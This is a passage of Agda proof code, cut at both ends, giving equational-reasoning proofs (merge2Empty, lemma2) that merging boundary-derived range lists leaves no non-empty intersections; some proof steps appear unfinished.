dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false)) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelowAll) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 (b1 ∷ b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 b3) ∷ (ranges1 bss)) ((Rg b1 b2) ∷ (ranges1 bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (if_then_else_ (b3 < b2) (merge2 (ranges1 bss) ((Rg b1 b2) ∷ (ranges1 bs))) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷_) (propIf3 (b3 < b2) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false)(emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAbove x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ [])) (ranges1 (b1 ∷ b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ (ranges1 []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ (BoundaryAboveAll < b2) (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ false (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false)) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryAbove x) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 (b1 ∷ b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 b3) ∷ (ranges1 bss)) ((Rg b1 b2) ∷ (ranges1 bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (if_then_else_ (b3 < b2) (merge2 (ranges1 bss) ((Rg b1 b2) ∷ (ranges1 bs))) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷_) (propIf3 (b3 < b2) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false)(emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelow x) ∷ []) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ [])) (ranges1 (b1 ∷ b2 ∷ []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ (ranges1 []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) ((Rg b1 b2) ∷ [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ (BoundaryAboveAll < b2) (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (if_then_else_ false (merge2 [] ((Rg b1 b2) ∷ [])) (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) []))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (merge2 ((Rg b2 BoundaryAboveAll) ∷ []) [])) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ []) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 ((rangeIsEmpty (rangeIntersection (Rg b2 BoundaryAboveAll) (Rg b1 b2)) == false)) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end merge2Empty ⦃ o ⦄ ⦃ dio ⦄ bounds@(b1 ∷ b2@(BoundaryBelow x) ∷ bs@(b3 ∷ bss)) ⦃ ne ⦄ = begin filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (tail bounds ⦃ ne ⦄)) (ranges1 bounds)) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 (b1 ∷ b2 ∷ bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b2 b3) ∷ (ranges1 bss)) ((Rg b1 b2) ∷ (ranges1 bs))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (if_then_else_ (b3 < b2) (merge2 (ranges1 bss) ((Rg b1 b2) ∷ (ranges1 bs))) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷_) (propIf3 (b3 < b2) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ b2 b3))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false) ((rangeIntersection (Rg b2 b3) (Rg b1 b2)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs)))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b2 b3) (Rg b1 b2)) == false)(emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ b1 b2 b3) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 (b2 ∷ bs)) (ranges1 bs))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ (b2 ∷ bs) ⟩ -- induction here!!!! merge2Empty .. [] end lemma2 : ⦃ o : Ord a ⦄ → ⦃ dio : DiscreteOrdered a ⦄ → (bs : List (Boundary a)) → (filter (λ x → rangeIsEmpty x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) ≡ [] lemma2 ⦃ o ⦄ ⦃ dio ⦄ [] = begin (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 []) (ranges1 (setBounds1 [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (BoundaryBelowAll ∷ [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] ((Rg BoundaryBelowAll BoundaryAboveAll) ∷ []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(BoundaryBelowAll ∷ []) = begin (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg BoundaryBelowAll BoundaryAboveAll) ∷ []) (ranges1 (setBounds1 (BoundaryBelowAll ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg BoundaryBelowAll BoundaryAboveAll) ∷ []) (ranges1 []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg BoundaryBelowAll BoundaryAboveAll) ∷ []) [])) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(BoundaryAboveAll ∷ []) = begin (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)(merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 [] (ranges1 (setBounds1 (BoundaryAboveAll ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(b@(BoundaryBelow x) ∷ []) = begin (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) (ranges1 (setBounds1 ((BoundaryBelow x) ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) (ranges1 (BoundaryBelowAll ∷ (b ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) ((Rg BoundaryBelowAll b) ∷ []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (if_then_else_ (BoundaryAboveAll < b) (merge2 [] ((Rg BoundaryBelowAll b) ∷ [])) (merge2 ((Rg b BoundaryAboveAll) ∷ []) [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (if_then_else_ false (merge2 [] ((Rg BoundaryBelowAll b) ∷ [])) (merge2 ((Rg b BoundaryAboveAll) ∷ []) [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (merge2 ((Rg b BoundaryAboveAll) ∷ []) []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ [])) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll b BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(b@(BoundaryAbove x) ∷ []) = begin (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) (ranges1 (setBounds1 (b ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) (ranges1 (BoundaryBelowAll ∷ (b ∷ []))))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg b BoundaryAboveAll) ∷ []) ((Rg BoundaryBelowAll b) ∷ []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (if_then_else_ (BoundaryAboveAll < b) (merge2 [] ((Rg BoundaryBelowAll b) ∷ [])) (merge2 ((Rg b BoundaryAboveAll) ∷ []) [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (if_then_else_ false (merge2 [] ((Rg BoundaryBelowAll b) ∷ [])) (merge2 ((Rg b BoundaryAboveAll) ∷ []) [])))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (merge2 ((Rg b BoundaryAboveAll) ∷ []) []))) =⟨⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ [])) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) == false) ((rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) [])) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg b BoundaryAboveAll) (Rg BoundaryBelowAll b)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll b BoundaryAboveAll) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) []) =⟨⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryAboveAll) ∷ (b ∷ bss)) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (setBounds1 (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (BoundaryBelowAll ∷ (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) ((Rg BoundaryBelowAll a) ∷ ranges1 (b ∷ bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (if_then_else_ (b < a) (merge2 (ranges1 bss) (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷_) (propIf3 (b < a) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ a b))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ propIf3' ⦃ o ⦄ {((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))))} {(filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))} (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll a b) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bs ⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryBelow x) ∷ (b ∷ bss)) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (setBounds1 (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (BoundaryBelowAll ∷ (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) ((Rg BoundaryBelowAll a) ∷ ranges1 (b ∷ bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (if_then_else_ (b < a) (merge2 (ranges1 bss) (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷_) (propIf3 (b < a) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ a b))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))) (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ propIf3 (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) (emptyIntersection ⦃ o ⦄ ⦃ dio ⦄ BoundaryBelowAll a b) ⟩ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨ merge2Empty2 ⦃ o ⦄ ⦃ dio ⦄ bs ⟩ [] end lemma2 ⦃ o ⦄ ⦃ dio ⦄ bs@(a@(BoundaryAbove x) ∷ (b ∷ bss)) = (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 (ranges1 bs) (ranges1 (setBounds1 bs)))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (setBounds1 (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) (ranges1 (BoundaryBelowAll ∷ (a ∷ (b ∷ bss))))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 ((Rg a b) ∷ (ranges1 bss)) ((Rg BoundaryBelowAll a) ∷ ranges1 (b ∷ bss))) =⟨⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (if_then_else_ (b < a) (merge2 (ranges1 bss) (ranges1 (setBounds1 bs))) (merge2 (ranges1 bs) (ranges1 (b ∷ bss))))) =⟨ cong (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false)) (cong ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷_) (propIf3 (b < a) (orderedBoundaries2 ⦃ o ⦄ ⦃ dio ⦄ a b))) ⟩ filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (merge2 (ranges1 bs) (ranges1 (b ∷ bss)))) =⟨⟩ if_then_else_ (rangeIsEmpty (rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) == false) ((rangeIntersection (Rg a b) (Rg BoundaryBelowAll a)) ∷ (filter (λ x → rangeIsEmpty ⦃ o ⦄ ⦃ dio ⦄ x == false) (merge2 